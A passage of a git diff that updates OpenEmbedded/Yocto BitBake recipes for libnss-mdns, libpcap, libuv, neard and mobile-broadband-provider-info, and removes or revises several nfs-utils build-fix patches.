- /\<mdns\(4\|6\)\?\(_minimal\)\?\>/ b
- s/\([[:blank:]]\+\)dns\>/\1mdns4_minimal [NOTFOUND=return] dns/g
- ' -i $D${sysconfdir}/nsswitch.conf
-}
-
-pkg_prerm_${PN} () {
- sed '
- /^hosts:/ !b
- s/[[:blank:]]\+mdns\(4\|6\)\?\(_minimal\( \[NOTFOUND=return\]\)\?\)\?//g
- ' -i $D${sysconfdir}/nsswitch.conf
-}
diff --git a/meta/recipes-connectivity/libnss-mdns/libnss-mdns_0.15.1.bb b/meta/recipes-connectivity/libnss-mdns/libnss-mdns_0.15.1.bb
new file mode 100644
index 0000000000..0db609fc47
--- /dev/null
+++ b/meta/recipes-connectivity/libnss-mdns/libnss-mdns_0.15.1.bb
@@ -0,0 +1,39 @@
+SUMMARY = "Name Service Switch module for Multicast DNS (zeroconf) name resolution"
+HOMEPAGE = "https://github.com/lathiat/nss-mdns"
+DESCRIPTION = "nss-mdns is a plugin for the GNU Name Service Switch (NSS) functionality of the GNU C Library (glibc) providing host name resolution via Multicast DNS (aka Zeroconf, aka Apple Rendezvous, aka Apple Bonjour), effectively allowing name resolution by common Unix/Linux programs in the ad-hoc mDNS domain .local."
+SECTION = "libs"
+
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=2d5025d4aa3495befef8f17206a5b0a1"
+
+DEPENDS = "avahi"
+
+SRC_URI = "git://github.com/lathiat/nss-mdns;branch=master;protocol=https \
+ "
+
+SRCREV = "4b3cfe818bf72d99a02b8ca8b8813cb2d6b40633"
+
+S = "${WORKDIR}/git"
+
+inherit autotools pkgconfig
+
+COMPATIBLE_HOST:libc-musl = 'null'
+
+EXTRA_OECONF = "--libdir=${base_libdir}"
+
+RDEPENDS:${PN} = "avahi-daemon"
+
+pkg_postinst:${PN} () {
+ sed '
+ /^hosts:/ !b
+ /\<mdns\(4\|6\)\?\(_minimal\)\?\>/ b
+ s/\([[:blank:]]\+\)dns\>/\1mdns4_minimal [NOTFOUND=return] dns/g
+ ' -i $D${sysconfdir}/nsswitch.conf
+}
+
+pkg_prerm:${PN} () {
+ sed '
+ /^hosts:/ !b
+ s/[[:blank:]]\+mdns\(4\|6\)\?\(_minimal\( \[NOTFOUND=return\]\)\?\)\?//g
+ ' -i $D${sysconfdir}/nsswitch.conf
+}
diff --git a/meta/recipes-connectivity/libpcap/libpcap_1.10.1.bb b/meta/recipes-connectivity/libpcap/libpcap_1.10.1.bb
new file mode 100644
index 0000000000..dbe2fd8157
--- /dev/null
+++ b/meta/recipes-connectivity/libpcap/libpcap_1.10.1.bb
@@ -0,0 +1,43 @@
+SUMMARY = "Interface for user-level network packet capture"
+DESCRIPTION = "Libpcap provides a portable framework for low-level network \
+monitoring. Libpcap can provide network statistics collection, \
+security monitoring and network debugging."
+HOMEPAGE = "http://www.tcpdump.org/"
+BUGTRACKER = "http://sourceforge.net/tracker/?group_id=53067&atid=469577"
+SECTION = "libs/network"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=5eb289217c160e2920d2e35bddc36453 \
+ file://pcap.h;beginline=1;endline=32;md5=39af3510e011f34b8872f120b1dc31d2"
+DEPENDS = "flex-native bison-native"
+
+SRC_URI = "https://www.tcpdump.org/release/${BP}.tar.gz"
+SRC_URI[sha256sum] = "ed285f4accaf05344f90975757b3dbfe772ba41d1c401c2648b7fa45b711bdd4"
+
+inherit autotools binconfig-disabled pkgconfig
+
+BINCONFIG = "${bindir}/pcap-config"
+
+# Explicitly disable dag support. We don't have recipe for it and if enabled here,
+# configure script poisons the include dirs with /usr/local/include even when the
+# support hasn't been detected. Do the same thing for DPDK.
+EXTRA_OECONF = " \
+ --with-pcap=linux \
+ --without-dag \
+ --without-dpdk \
+ "
+EXTRA_AUTORECONF += "--exclude=aclocal"
+
+PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'bluetooth', 'bluez5', '', d)} \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} \
+"
+PACKAGECONFIG[bluez5] = "--enable-bluetooth,--disable-bluetooth,bluez5"
+PACKAGECONFIG[dbus] = "--enable-dbus,--disable-dbus,dbus"
+PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
+PACKAGECONFIG[libnl] = "--with-libnl,--without-libnl,libnl"
+
+do_configure:prepend () {
+ #remove hardcoded references to /usr/include
+ sed 's|\([ "^'\''I]\+\)/usr/include/|\1${STAGING_INCDIR}/|g' -i ${S}/configure.ac
+}
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-connectivity/libpcap/libpcap_1.9.1.bb b/meta/recipes-connectivity/libpcap/libpcap_1.9.1.bb
deleted file mode 100644
index 35bb5650b3..0000000000
--- a/meta/recipes-connectivity/libpcap/libpcap_1.9.1.bb
+++ /dev/null
@@ -1,44 +0,0 @@
-SUMMARY = "Interface for user-level network packet capture"
-DESCRIPTION = "Libpcap provides a portable framework for low-level network \
-monitoring. Libpcap can provide network statistics collection, \
-security monitoring and network debugging."
-HOMEPAGE = "http://www.tcpdump.org/"
-BUGTRACKER = "http://sourceforge.net/tracker/?group_id=53067&atid=469577"
-SECTION = "libs/network"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=5eb289217c160e2920d2e35bddc36453 \
- file://pcap.h;beginline=1;endline=32;md5=39af3510e011f34b8872f120b1dc31d2"
-DEPENDS = "flex-native bison-native"
-
-SRC_URI = "https://www.tcpdump.org/release/${BP}.tar.gz \
- "
-SRC_URI[md5sum] = "21af603d9a591c7d96a6457021d84e6c"
-SRC_URI[sha256sum] = "635237637c5b619bcceba91900666b64d56ecb7be63f298f601ec786ce087094"
-
-inherit autotools binconfig-disabled pkgconfig
-
-BINCONFIG = "${bindir}/pcap-config"
-
-# Explicitly disable dag support. We don't have recipe for it and if enabled here,
-# configure script poisons the include dirs with /usr/local/include even when the
-# support hasn't been detected.
-EXTRA_OECONF = " \
- --with-pcap=linux \
- --without-dag \
- "
-EXTRA_AUTORECONF += "--exclude=aclocal"
-
-PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'bluetooth', 'bluez5', '', d)} \
- ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} \
-"
-PACKAGECONFIG[bluez5] = "--enable-bluetooth,--disable-bluetooth,bluez5"
-PACKAGECONFIG[dbus] = "--enable-dbus,--disable-dbus,dbus"
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
-PACKAGECONFIG[libnl] = "--with-libnl,--without-libnl,libnl"
-
-do_configure_prepend () {
- #remove hardcoded references to /usr/include
- sed 's|\([ "^'\''I]\+\)/usr/include/|\1${STAGING_INCDIR}/|g' -i ${S}/configure.ac
-}
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-connectivity/libuv/libuv_1.44.1.bb b/meta/recipes-connectivity/libuv/libuv_1.44.1.bb
new file mode 100644
index 0000000000..4c96d80a65
--- /dev/null
+++ b/meta/recipes-connectivity/libuv/libuv_1.44.1.bb
@@ -0,0 +1,21 @@
+SUMMARY = "A multi-platform support library with a focus on asynchronous I/O"
+HOMEPAGE = "https://github.com/libuv/libuv"
+DESCRIPTION = "libuv is a multi-platform support library with a focus on asynchronous I/O. It was primarily developed for use by Node.js, but it's also used by Luvit, Julia, pyuv, and others."
+BUGTRACKER = "https://github.com/libuv/libuv/issues"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=ad93ca1fffe931537fcf64f6fcce084d"
+
+SRCREV = "e8b7eb6908a847ffbe6ab2eec7428e43a0aa53a2"
+SRC_URI = "git://github.com/libuv/libuv;branch=v1.x;protocol=https"
+UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+(\.\d+)+)"
+
+S = "${WORKDIR}/git"
+
+inherit autotools
+
+do_configure() {
+ ${S}/autogen.sh || bbnote "${PN} failed to autogen.sh"
+ oe_runconf
+}
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-connectivity/mobile-broadband-provider-info/mobile-broadband-provider-info_git.bb b/meta/recipes-connectivity/mobile-broadband-provider-info/mobile-broadband-provider-info_git.bb
index 0b0bbab168..781b9216c5 100644
--- a/meta/recipes-connectivity/mobile-broadband-provider-info/mobile-broadband-provider-info_git.bb
+++ b/meta/recipes-connectivity/mobile-broadband-provider-info/mobile-broadband-provider-info_git.bb
@@ -1,13 +1,15 @@
SUMMARY = "Mobile Broadband Service Provider Database"
HOMEPAGE = "http://live.gnome.org/NetworkManager/MobileBroadband/ServiceProviders"
+DESCRIPTION = "Mobile Broadband Service Provider Database stores service provider specific information. When this Database is available the information can be fetched there"
SECTION = "network"
LICENSE = "PD"
LIC_FILES_CHKSUM = "file://COPYING;md5=87964579b2a8ece4bc6744d2dc9a8b04"
-SRCREV = "22b49d86fb7aded2c195a9d49e5924da696b3228"
-PV = "20190618"
+
+SRCREV = "4cbb44a9fe26aa6f0b28beb79f9488b37c097b5e"
+PV = "20220315"
PE = "1"
-SRC_URI = "git://gitlab.gnome.org/GNOME/mobile-broadband-provider-info.git;protocol=https"
+SRC_URI = "git://gitlab.gnome.org/GNOME/mobile-broadband-provider-info.git;protocol=https;branch=main"
S = "${WORKDIR}/git"
inherit autotools
diff --git a/meta/recipes-connectivity/neard/neard_0.16.bb b/meta/recipes-connectivity/neard/neard_0.16.bb
index 7c124a3c0b..57f2a3e2e1 100644
--- a/meta/recipes-connectivity/neard/neard_0.16.bb
+++ b/meta/recipes-connectivity/neard/neard_0.16.bb
@@ -1,7 +1,7 @@
SUMMARY = "Linux NFC daemon"
DESCRIPTION = "A daemon for the Linux Near Field Communication stack"
HOMEPAGE = "http://01.org/linux-nfc"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
DEPENDS = "dbus glib-2.0 libnl"
@@ -22,12 +22,12 @@ inherit autotools pkgconfig systemd update-rc.d
PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
-PACKAGECONFIG[systemd] = "--enable-systemd --with-systemdsystemunitdir=${systemd_unitdir}/system/ --with-systemduserunitdir=${systemd_unitdir}/user/,--disable-systemd"
+PACKAGECONFIG[systemd] = "--enable-systemd --with-systemdsystemunitdir=${systemd_system_unitdir}/ --with-systemduserunitdir=${systemd_unitdir}/user/,--disable-systemd"
EXTRA_OECONF += "--enable-tools"
# This would copy neard start-stop shell and test scripts
-do_install_append() {
+do_install:append() {
if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
install -d ${D}${sysconfdir}/init.d/
sed "s:@installpath@:${libexecdir}/nfc:" ${WORKDIR}/neard.in \
@@ -36,10 +36,10 @@ do_install_append() {
fi
}
-RDEPENDS_${PN} = "dbus"
+RDEPENDS:${PN} = "dbus"
# Bluez & Wifi are not mandatory except for handover
-RRECOMMENDS_${PN} = "\
+RRECOMMENDS:${PN} = "\
${@bb.utils.contains('DISTRO_FEATURES', 'bluetooth', 'bluez5', '', d)} \
${@bb.utils.contains('DISTRO_FEATURES', 'wifi','wpa-supplicant', '', d)} \
"
@@ -47,4 +47,4 @@ RRECOMMENDS_${PN} = "\
INITSCRIPT_NAME = "neard"
INITSCRIPT_PARAMS = "defaults 64"
-SYSTEMD_SERVICE_${PN} = "neard.service"
+SYSTEMD_SERVICE:${PN} = "neard.service"
diff --git a/meta/recipes-connectivity/nfs-utils/nfs-utils/0001-Don-t-build-tools-with-CC_FOR_BUILD.patch b/meta/recipes-connectivity/nfs-utils/nfs-utils/0001-Don-t-build-tools-with-CC_FOR_BUILD.patch
deleted file mode 100644
index 23bc3eaf72..0000000000
--- a/meta/recipes-connectivity/nfs-utils/nfs-utils/0001-Don-t-build-tools-with-CC_FOR_BUILD.patch
+++ /dev/null
@@ -1,40 +0,0 @@
-From 79019d976584c598f8d0a9d8de43c989946f974b Mon Sep 17 00:00:00 2001
-From: Pascal Bach <pascal.bach@siemens.com>
-Date: Wed, 13 Feb 2019 09:28:07 +0100
-Subject: [PATCH] Don't build tools with CC_FOR_BUILD
-
-The tools are intended for the target not for the host.
-
-Upstream-Status: Pending
-
-Signed-off-by: Pascal Bach <pascal.bach@siemens.com>
----
- tools/locktest/Makefile.am | 1 -
- tools/rpcgen/Makefile.am | 1 -
- 2 files changed, 2 deletions(-)
-
-diff --git a/tools/locktest/Makefile.am b/tools/locktest/Makefile.am
-index 3156815..87d0bac 100644
---- a/tools/locktest/Makefile.am
-+++ b/tools/locktest/Makefile.am
-@@ -1,6 +1,5 @@
- ## Process this file with automake to produce Makefile.in
-
--CC=$(CC_FOR_BUILD)
- LIBTOOL = @LIBTOOL@ --tag=CC
-
- noinst_PROGRAMS = testlk
-diff --git a/tools/rpcgen/Makefile.am b/tools/rpcgen/Makefile.am
-index 8a9ec89..3e092c9 100644
---- a/tools/rpcgen/Makefile.am
-+++ b/tools/rpcgen/Makefile.am
-@@ -1,6 +1,5 @@
- ## Process this file with automake to produce Makefile.in
-
--CC=$(CC_FOR_BUILD)
- LIBTOOL = @LIBTOOL@ --tag=CC
-
- noinst_PROGRAMS = rpcgen
---
-2.11.0
-
diff --git a/meta/recipes-connectivity/nfs-utils/nfs-utils/0001-Fix-include-order-between-config.h-and-stat.h.patch b/meta/recipes-connectivity/nfs-utils/nfs-utils/0001-Fix-include-order-between-config.h-and-stat.h.patch
deleted file mode 100644
index 7b0f93535f..0000000000
--- a/meta/recipes-connectivity/nfs-utils/nfs-utils/0001-Fix-include-order-between-config.h-and-stat.h.patch
+++ /dev/null
@@ -1,156 +0,0 @@
-From 2fbc62e2a13fc22b6ae4910e295a2c10fb790486 Mon Sep 17 00:00:00 2001
-From: Zoltan Karcagi <zkr7432@gmail.com>
-Date: Mon, 12 Aug 2019 13:27:16 -0400
-Subject: [PATCH] Fix include order between config.h and stat.h
-
-At least on Arch linux ARM, the definition of struct stat in stat.h depends
-on __USE_FILE_OFFSET64. This symbol comes from config.h when defined,
-therefore config.h must always be included before stat.h. Fix all
-occurrences where the order is wrong by moving config.h to the top.
-
-This fixes the client side error "Stale file handle" when mounting from
-a server running Arch Linux ARM.
-
-Signed-off-by: Zoltan Karcagi <zkr7432@gmail.com>
-Signed-off-by: Steve Dickson <steved@redhat.com>
-
-Upstream-Status: Backport
-[http://git.linux-nfs.org/?p=steved/nfs-utils.git;a=commit;h=2fbc62e2a13fc22b6ae4910e295a2c10fb790486]
-
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- support/misc/nfsd_path.c | 5 ++++-
- support/misc/xstat.c | 5 ++++-
- support/nfs/conffile.c | 8 +++++++-
- utils/blkmapd/device-discovery.c | 8 ++++----
- utils/idmapd/idmapd.c | 8 ++++----
- 5 files changed, 23 insertions(+), 11 deletions(-)
-
-diff --git a/support/misc/nfsd_path.c b/support/misc/nfsd_path.c
-index 84e4802..f078a66 100644
---- a/support/misc/nfsd_path.c
-+++ b/support/misc/nfsd_path.c
-@@ -1,3 +1,7 @@
-+#ifdef HAVE_CONFIG_H
-+#include <config.h>
-+#endif
-+
- #include <errno.h>
- #include <sys/types.h>
- #include <sys/stat.h>
-@@ -5,7 +9,6 @@
- #include <stdlib.h>
- #include <unistd.h>
-
--#include "config.h"
- #include "conffile.h"
- #include "xmalloc.h"
- #include "xlog.h"
-diff --git a/support/misc/xstat.c b/support/misc/xstat.c
-index fa04788..4c997ee 100644
---- a/support/misc/xstat.c
-+++ b/support/misc/xstat.c
-@@ -1,3 +1,7 @@
-+#ifdef HAVE_CONFIG_H
-+#include <config.h>
-+#endif
-+
- #include <errno.h>
- #include <sys/types.h>
- #include <fcntl.h>
-@@ -5,7 +9,6 @@
- #include <sys/sysmacros.h>
- #include <unistd.h>
-
--#include "config.h"
- #include "xstat.h"
-
- #ifdef HAVE_FSTATAT
-diff --git a/support/nfs/conffile.c b/support/nfs/conffile.c
-index b6400be..6ba8a35 100644
---- a/support/nfs/conffile.c
-+++ b/support/nfs/conffile.c
-@@ -500,7 +500,7 @@ conf_readfile(const char *path)
-
- if ((stat (path, &sb) == 0) || (errno != ENOENT)) {
- char *new_conf_addr = NULL;
-- size_t sz = sb.st_size;
-+ off_t sz;
- int fd = open (path, O_RDONLY, 0);
-
- if (fd == -1) {
-@@ -517,6 +517,11 @@ conf_readfile(const char *path)
-
- /* only after we have the lock, check the file size ready to read it */
- sz = lseek(fd, 0, SEEK_END);
-+ if (sz < 0) {
-+ xlog_warn("conf_readfile: unable to determine file size: %s",
-+ strerror(errno));
-+ goto fail;
-+ }
- lseek(fd, 0, SEEK_SET);
-
- new_conf_addr = malloc(sz+1);
-@@ -2162,6 +2167,7 @@ conf_write(const char *filename, const char *section, const char *arg,
- ret = 0;
-
- cleanup:
-+ flush_outqueue(&inqueue, NULL);
- flush_outqueue(&outqueue, NULL);
-
- if (buff)
-diff --git a/utils/blkmapd/device-discovery.c b/utils/blkmapd/device-discovery.c
-index e811703..f5f9b10 100644
---- a/utils/blkmapd/device-discovery.c
-+++ b/utils/blkmapd/device-discovery.c
-@@ -26,6 +26,10 @@
- * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- */
-
-+#ifdef HAVE_CONFIG_H
-+#include "config.h"
-+#endif /* HAVE_CONFIG_H */
-+
- #include <sys/sysmacros.h>
- #include <sys/types.h>
- #include <sys/stat.h>
-@@ -51,10 +55,6 @@
- #include <errno.h>
- #include <libdevmapper.h>
-
--#ifdef HAVE_CONFIG_H
--#include "config.h"
--#endif /* HAVE_CONFIG_H */
--
- #include "device-discovery.h"
- #include "xcommon.h"
- #include "nfslib.h"
-diff --git a/utils/idmapd/idmapd.c b/utils/idmapd/idmapd.c
-index 62e37b8..267acea 100644
---- a/utils/idmapd/idmapd.c
-+++ b/utils/idmapd/idmapd.c
-@@ -34,6 +34,10 @@
- * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- */
-
-+#ifdef HAVE_CONFIG_H
-+#include "config.h"
-+#endif /* HAVE_CONFIG_H */
-+
- #include <sys/types.h>
- #include <sys/time.h>
- #include <sys/inotify.h>
-@@ -62,10 +66,6 @@
- #include <libgen.h>
- #include <nfsidmap.h>
-
--#ifdef HAVE_CONFIG_H
--#include "config.h"
--#endif /* HAVE_CONFIG_H */
--
- #include "xlog.h"
- #include "conffile.h"
- #include "queue.h"
---
-2.7.4
-
diff --git a/meta/recipes-connectivity/nfs-utils/nfs-utils/0001-Makefile.am-fix-undefined-function-for-libnsm.a.patch b/meta/recipes-connectivity/nfs-utils/nfs-utils/0001-Makefile.am-fix-undefined-function-for-libnsm.a.patch
index fcb0e99b33..7603eb680d 100644
--- a/meta/recipes-connectivity/nfs-utils/nfs-utils/0001-Makefile.am-fix-undefined-function-for-libnsm.a.patch
+++ b/meta/recipes-connectivity/nfs-utils/nfs-utils/0001-Makefile.am-fix-undefined-function-for-libnsm.a.patch
@@ -19,7 +19,7 @@ As there is already one source file named file.c
as support/nsm/file.c in support/nsm/Makefile.am,
so rename ../support/misc/file.c to ../support/misc/misc.c.
-Upstream-Status: Submitted[https://marc.info/?l=linux-nfs&m=154502780423058&w=2]
+Upstream-Status: Submitted [https://marc.info/?l=linux-nfs&m=154502780423058&w=2]
Signed-off-by: Mingli Yu <Mingli.Yu@windriver.com>
@@ -28,10 +28,10 @@ Rebase it.
Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
---
support/misc/Makefile.am | 2 +-
- support/misc/file.c | 111 ---------------------------------------------------------------------------------------------------------------
+ support/misc/file.c | 115 ---------------------------------------------------------------------------------------------------------------
support/misc/misc.c | 111 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
support/nsm/Makefile.am | 2 +-
- 4 files changed, 113 insertions(+), 113 deletions(-)
+ 4 files changed, 113 insertions(+), 117 deletions(-)
diff --git a/support/misc/Makefile.am b/support/misc/Makefile.am
index f9993e3..8b0e9db 100644
@@ -48,10 +48,10 @@ index f9993e3..8b0e9db 100644
MAINTAINERCLEANFILES = Makefile.in
diff --git a/support/misc/file.c b/support/misc/file.c
deleted file mode 100644
-index e7c3819..0000000
+index 06f6bb2..0000000
--- a/support/misc/file.c
+++ /dev/null
-@@ -1,111 +0,0 @@
+@@ -1,115 +0,0 @@
-/*
- * Copyright 2009 Oracle. All rights reserved.
- * Copyright 2017 Red Hat, Inc. All rights reserved.
@@ -72,6 +72,10 @@ index e7c3819..0000000
- * along with nfs-utils. If not, see <http://www.gnu.org/licenses/>.
- */
-
+-#ifdef HAVE_CONFIG_H
+-#include <config.h>
+-#endif
+-
-#include <sys/stat.h>
-
-#include <string.h>
diff --git a/meta/recipes-connectivity/nfs-utils/nfs-utils/0001-cacheio-use-intmax_t-for-formatted-IO.patch b/meta/recipes-connectivity/nfs-utils/nfs-utils/0001-cacheio-use-intmax_t-for-formatted-IO.patch
deleted file mode 100644
index bafff5b9c0..0000000000
--- a/meta/recipes-connectivity/nfs-utils/nfs-utils/0001-cacheio-use-intmax_t-for-formatted-IO.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-From ac32b813f5d6f9a2de944015cf9bb98d68e0203a Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sat, 1 Dec 2018 10:02:12 -0800
-Subject: [PATCH] cacheio: use intmax_t for formatted IO
-
-time_t is not same size on x32 ABI (ILP32)
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- support/nfs/cacheio.c | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/support/nfs/cacheio.c b/support/nfs/cacheio.c
-index 9dc4cf1..2086a95 100644
---- a/support/nfs/cacheio.c
-+++ b/support/nfs/cacheio.c
-@@ -17,6 +17,7 @@
-
- #include <nfslib.h>
- #include <stdio.h>
-+#include <inttypes.h>
- #include <stdio_ext.h>
- #include <string.h>
- #include <ctype.h>
-@@ -234,7 +235,7 @@ cache_flush(int force)
- stb.st_mtime > now)
- stb.st_mtime = time(0);
-
-- sprintf(stime, "%ld\n", stb.st_mtime);
-+ sprintf(stime, "%jd\n", (intmax_t)stb.st_mtime);
- for (c=0; cachelist[c]; c++) {
- int fd;
- sprintf(path, "/proc/net/rpc/%s/flush", cachelist[c]);
---
-2.19.2
-
diff --git a/meta/recipes-connectivity/nfs-utils/nfs-utils/0001-configure.ac-Do-not-fatalize-Wmissing-prototypes.patch b/meta/recipes-connectivity/nfs-utils/nfs-utils/0001-configure.ac-Do-not-fatalize-Wmissing-prototypes.patch
deleted file mode 100644
index d14f0789ff..0000000000
--- a/meta/recipes-connectivity/nfs-utils/nfs-utils/0001-configure.ac-Do-not-fatalize-Wmissing-prototypes.patch
+++ /dev/null
@@ -1,40 +0,0 @@
-From 66471fbf7106917da7a1536b18a0a77d07479779 Mon Sep 17 00:00:00 2001
-From: Mingli Yu <Mingli.Yu@windriver.com>
-Date: Mon, 17 Dec 2018 15:29:47 +0800
-Subject: [PATCH] configure.ac: Do not fatalize -Wmissing-prototypes
-
-There comes below error when run "make -C tests/nsm_client nsm_client"
-| nlm_sm_inter_svc.c:20:1: error: no previous prototype for 'nlm_sm_prog_3' [-Werror=missing-prototypes]
-
-It is because rpcgen doesn't generate -Wmissing-prototypes
-free code for nlm_sm_inter_svc.c with below logic
-in tests/nsm_client/Makefile.am
-[snip]
-GENFILES_SVC = nlm_sm_inter_svc.c
-[snip]
-$(GENFILES_SVC): %_svc.c: %.x $(RPCGEN)
- test -f $@ && rm -rf $@ || true
- $(RPCGEN) -m -o $@ $<
-
-So add the logic not to fatalize -Wmissing-prototypes.
-
-Upstream-Status: Submitted[https://marc.info/?l=linux-nfs&m=154503260323936&w=2]
-
-Signed-off-by: Mingli Yu <Mingli.Yu@windriver.com>
----
- configure.ac | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index 50002b4..aebff01 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -582,7 +582,7 @@ my_am_cflags="\
- -Wall \
- -Wextra \
- $rpcgen_cflags \
-- -Werror=missing-prototypes \
-+ -Wmissing-prototypes \
- -Werror=missing-declarations \
- -Werror=format=2 \
- -Werror=undef \
diff --git a/meta/recipes-connectivity/nfs-utils/nfs-utils/clang-format-string.patch b/meta/recipes-connectivity/nfs-utils/nfs-utils/clang-format-string.patch
deleted file mode 100644
index 1d693e4142..0000000000
--- a/meta/recipes-connectivity/nfs-utils/nfs-utils/clang-format-string.patch
+++ /dev/null
@@ -1,183 +0,0 @@
-Clang comes up with more printf format warnings
-Correcting “format string is not a string literal” warning
-requires us to declare that parameter is a printf style
-format using the attribute flag
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Index: nfs-utils-2.3.3/support/include/xcommon.h
-===================================================================
---- nfs-utils-2.3.3.orig/support/include/xcommon.h
-+++ nfs-utils-2.3.3/support/include/xcommon.h
-@@ -27,7 +27,7 @@
-
- /* Functions in sundries.c that are used in mount.c and umount.c */
- char *canonicalize (const char *path);
--void nfs_error (const char *fmt, ...);
-+void nfs_error (const char *fmt, ...) __attribute__((__format__ (__printf__, 1, 2)));
- void *xmalloc (size_t size);
- void *xrealloc(void *p, size_t size);
- void xfree(void *);
-@@ -36,9 +36,9 @@ char *xstrndup (const char *s, int n);
- char *xstrconcat2 (const char *, const char *);
- char *xstrconcat3 (const char *, const char *, const char *);
- char *xstrconcat4 (const char *, const char *, const char *, const char *);
--void die (int errcode, const char *fmt, ...);
-+void die (int errcode, const char *fmt, ...) __attribute__((__format__ (__printf__, 2, 3)));
-
--extern void die(int err, const char *fmt, ...);
-+extern void die(int err, const char *fmt, ...) __attribute__((__format__ (__printf__, 2, 3)));
- extern void (*at_die)(void);
-
- /* exit status - bits below are ORed */
-Index: nfs-utils-2.3.3/support/include/xlog.h
-===================================================================
---- nfs-utils-2.3.3.orig/support/include/xlog.h
-+++ nfs-utils-2.3.3/support/include/xlog.h
-@@ -43,10 +43,10 @@ void xlog_config(int fac, int on);
- void xlog_sconfig(char *, int on);
- void xlog_from_conffile(char *);
- int xlog_enabled(int fac);
--void xlog(int fac, const char *fmt, ...);
--void xlog_warn(const char *fmt, ...);
--void xlog_err(const char *fmt, ...);
--void xlog_errno(int err, const char *fmt, ...);
--void xlog_backend(int fac, const char *fmt, va_list args);
-+void xlog(int fac, const char *fmt, ...) __attribute__((__format__ (__printf__, 2, 3)));
-+void xlog_warn(const char *fmt, ...) __attribute__((__format__ (__printf__, 1, 2)));
-+void xlog_err(const char *fmt, ...) __attribute__((__format__ (__printf__, 1, 2)));
-+void xlog_errno(int err, const char *fmt, ...) __attribute__((__format__ (__printf__, 2, 3)));
-+void xlog_backend(int fac, const char *fmt, va_list args) __attribute__((__format__ (__printf__, 2, 0)));
-
- #endif /* XLOG_H */
-Index: nfs-utils-2.3.3/support/nfs/xcommon.c
-===================================================================
---- nfs-utils-2.3.3.orig/support/nfs/xcommon.c
-+++ nfs-utils-2.3.3/support/nfs/xcommon.c
-@@ -93,7 +93,10 @@ nfs_error (const char *fmt, ...) {
-
- fmt2 = xstrconcat2 (fmt, "\n");
- va_start (args, fmt);
-+#pragma clang diagnostic push
-+#pragma clang diagnostic ignored "-Wformat-nonliteral"
- vfprintf (stderr, fmt2, args);
-+#pragma clang diagnostic pop
- va_end (args);
- free (fmt2);
- }
-Index: nfs-utils-2.3.3/utils/exportfs/exportfs.c
-===================================================================
---- nfs-utils-2.3.3.orig/utils/exportfs/exportfs.c
-+++ nfs-utils-2.3.3/utils/exportfs/exportfs.c
-@@ -644,6 +644,7 @@ out:
- return result;
- }
-
-+__attribute__((__format__ (__printf__, 2, 3)))
- static char
- dumpopt(char c, char *fmt, ...)
- {
-Index: nfs-utils-2.3.3/utils/statd/statd.c
-===================================================================
---- nfs-utils-2.3.3.orig/utils/statd/statd.c
-+++ nfs-utils-2.3.3/utils/statd/statd.c
-@@ -136,7 +136,7 @@ static void log_modes(void)
- strcat(buf, "TI-RPC ");
- #endif
-
-- xlog_warn(buf);
-+ xlog_warn("%s", buf);
- }
-
- /*
-Index: nfs-utils-2.3.3/support/nfs/svc_create.c
-===================================================================
---- nfs-utils-2.3.3.orig/support/nfs/svc_create.c
-+++ nfs-utils-2.3.3/support/nfs/svc_create.c
-@@ -184,7 +184,7 @@ svc_create_sock(const struct sockaddr *s
- type = SOCK_STREAM;
- break;
- default:
-- xlog(D_GENERAL, "%s: Unrecognized bind address semantics: %u",
-+ xlog(D_GENERAL, "%s: Unrecognized bind address semantics: %lu",
- __func__, nconf->nc_semantics);
- return -1;
- }
-Index: nfs-utils-2.3.3/support/nsm/rpc.c
-===================================================================
---- nfs-utils-2.3.3.orig/support/nsm/rpc.c
-+++ nfs-utils-2.3.3/support/nsm/rpc.c
-@@ -182,7 +182,7 @@ nsm_xmit_getport(const int sock, const s
- uint32_t xid;
- XDR xdr;
-
-- xlog(D_CALL, "Sending PMAP_GETPORT for %u, %u, udp", program, version);
-+ xlog(D_CALL, "Sending PMAP_GETPORT for %lu, %lu, udp", program, version);
-
- nsm_init_xdrmem(msgbuf, NSM_MAXMSGSIZE, &xdr);
- xid = nsm_init_rpc_header(PMAPPROG, PMAPVERS,
-Index: nfs-utils-2.3.3/utils/mountd/cache.c
-===================================================================
---- nfs-utils-2.3.3.orig/utils/mountd/cache.c
-+++ nfs-utils-2.3.3/utils/mountd/cache.c
-@@ -968,8 +968,7 @@ lookup_export(char *dom, char *path, str
- } else if (found_type == i && found->m_warned == 0) {
